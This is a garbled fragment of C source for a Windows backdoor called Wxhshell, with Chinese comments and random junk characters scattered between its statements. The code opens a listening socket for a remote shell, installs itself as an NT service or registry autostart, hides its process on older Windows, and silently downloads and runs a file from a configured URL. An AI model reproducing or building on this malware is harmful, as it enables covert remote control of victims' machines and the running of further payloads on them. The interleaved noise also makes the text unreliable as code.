."J HMODULE hMod; %y_{?|+ char procName[255]; l}SHR|7< unsigned long cbNeeded; i936+[ 49.B!DqQW& if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); nO+R>8,Q s@IgaF { CloseHandle(hProcess); 2F
:8=_sA 7@
\:l~{ if(strstr(procName,"services")) return 1; // 以服务启动 Qk72ra) +/ rt'0o return 0; // 注册表启动 C),i#v } Z+=M_{`{ 1Li*n6tLX` // 主模块 slzB# int StartWxhshell(LPSTR lpCmdLine) y9b%P]i { <*(^QOM SOCKET wsl; l];/,J^ BOOL val=TRUE; 6n^@Ps int port=0;
RdBIbm struct sockaddr_in door; u4j"U6"]M YPW
UncV if(wscfg.ws_autoins) Install(); 0X3yfrim &`oybm-p( port=atoi(lpCmdLine); yd=b!\}WJ 9dmoB_G if(port<=0) port=wscfg.ws_port; ,x$^^ 7=%Oev&0g- WSADATA data; iX[g if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; MU%7'J :_ v7n@CWnN if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; F1A40h7R$Y setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1ktxG1"1 door.sin_family = AF_INET; $<AaeyR!N door.sin_addr.s_addr = inet_addr("127.0.0.1"); Q':hmulT! door.sin_port = htons(port); o7t{?| 5owK2 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { bQ(-M: closesocket(wsl); IVY)pS"pR" return 1; $,yAOaa } L7hRFf-o cPv(VjS1; if(listen(wsl,2) == INVALID_SOCKET) { HItNd closesocket(wsl); Uo71C 4ev return 1; <v'&Pk< } QFMAy>Gdn Wxhshell(wsl); L$BV`JWPw WSACleanup(); GC:q6} ()48> || return 0; \5 rJ 7B)1U_L0H } T;?k]4.X 7f4O~4.[i // 以NT服务方式启动 0Ni{UV?
k VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) rlD!%gG2x { _&/ {A|n DWORD status = 0; mf)+ 5On DWORD specificError = 0xfffffff; P:t .Nr" >=|p30\b serviceStatus.dwServiceType = SERVICE_WIN32; QeG9CS)E}j serviceStatus.dwCurrentState = SERVICE_START_PENDING; N-]/MB8 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?:ZB'G{%E serviceStatus.dwWin32ExitCode = 0; HA*L*:0 serviceStatus.dwServiceSpecificExitCode = 0; fjVy;qJ32S serviceStatus.dwCheckPoint = 0; h='F,r5#2 serviceStatus.dwWaitHint = 0; H#DvCw 8'HS$J;C hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {eV8h}KIl if (hServiceStatusHandle==0) return; `/ayg:WSU OU"%,&J status = GetLastError(); fj))Hnt(| if (status!=NO_ERROR) i5t6$|u:&m { f+Sb>$ serviceStatus.dwCurrentState = SERVICE_STOPPED; -~|{q)!F serviceStatus.dwCheckPoint = 0; c#sHnpP serviceStatus.dwWaitHint = 0; YT
Zi[/ serviceStatus.dwWin32ExitCode = status; o]Rlivahm serviceStatus.dwServiceSpecificExitCode = specificError; qQi\/~Y[: SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4]uj+J return; eM:J_>7t } Iz5NA0[=2 _BmObXOp. serviceStatus.dwCurrentState = SERVICE_RUNNING; Ph1XI&us9 serviceStatus.dwCheckPoint = 0; =i&,I{3 serviceStatus.dwWaitHint = 0; 'Vo8|?.WhX if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); L_NiU;cr% } e[fOm0^.c *B"Y]6$ // 处理NT服务事件,比如:启动、停止 Z(T{K\)uN VOID WINAPI NTServiceHandler(DWORD fdwControl) RHg-Cg` { ]mb8R:a1 switch(fdwControl) [/UchU]DT { 12KC4,C&1i case SERVICE_CONTROL_STOP: 0(D^NtB7 serviceStatus.dwWin32ExitCode = 0; `x#Ud)g serviceStatus.dwCurrentState = SERVICE_STOPPED; a+E&{pV serviceStatus.dwCheckPoint = 0; NEIkG>\7q serviceStatus.dwWaitHint = 0; i(^U<DW$ { )rD!4"8/A SetServiceStatus(hServiceStatusHandle, &serviceStatus); [d6! } "y,YC M` return; 7{L4a\JzT case SERVICE_CONTROL_PAUSE: T)rE#"_]{ serviceStatus.dwCurrentState = SERVICE_PAUSED; L^3&
break; /i'078F case SERVICE_CONTROL_CONTINUE: X#lNS+&=' serviceStatus.dwCurrentState = SERVICE_RUNNING; P5h|* ?= break; d9#Vq=H / case SERVICE_CONTROL_INTERROGATE: xzm]v9k& break; z%%O-1 }; !hBpon SetServiceStatus(hServiceStatusHandle, &serviceStatus); jO-?t9^ } @h%V:c 4VWk/HK-! // 标准应用程序主函数 LH8jT int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) RZm%4_p4s { [@vz0!@s5 ;Y$>WKsV // 获取操作系统版本 6Dlm.~G OsIsNt=GetOsVer(); amu;grH GetModuleFileName(NULL,ExeFile,MAX_PATH); V&M*,#(? <W80A J // 从命令行安装 {r,Uik-nL if(strpbrk(lpCmdLine,"iI")) Install(); BBB@M W)In.?>]W // 下载执行文件 5ilGWkb`'X if(wscfg.ws_downexe) { E-bswUVaEE if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) hmO2s/~ WinExec(wscfg.ws_filenam,SW_HIDE); 7A)\:k } `@~e<s`j U(#<D7} if(!OsIsNt) { I0Pw~Jj{ // 如果时win9x,隐藏进程并且设置为注册表启动 UN]gn>~j HideProc(); $MQ}+*Wr StartWxhshell(lpCmdLine); *@2Bh4 } SB_Tzp else Z/#_Swv if(StartFromService()) OXEk{#Uf[3 // 以服务方式启动 /`*{57/3 StartServiceCtrlDispatcher(DispatchTable); v= 55{ else U0~_'&Fe // 普通方式启动 2Je$SE8 StartWxhshell(lpCmdLine); RgJ@J/p" MMM
tB6 return 0; 7L{1S
v }
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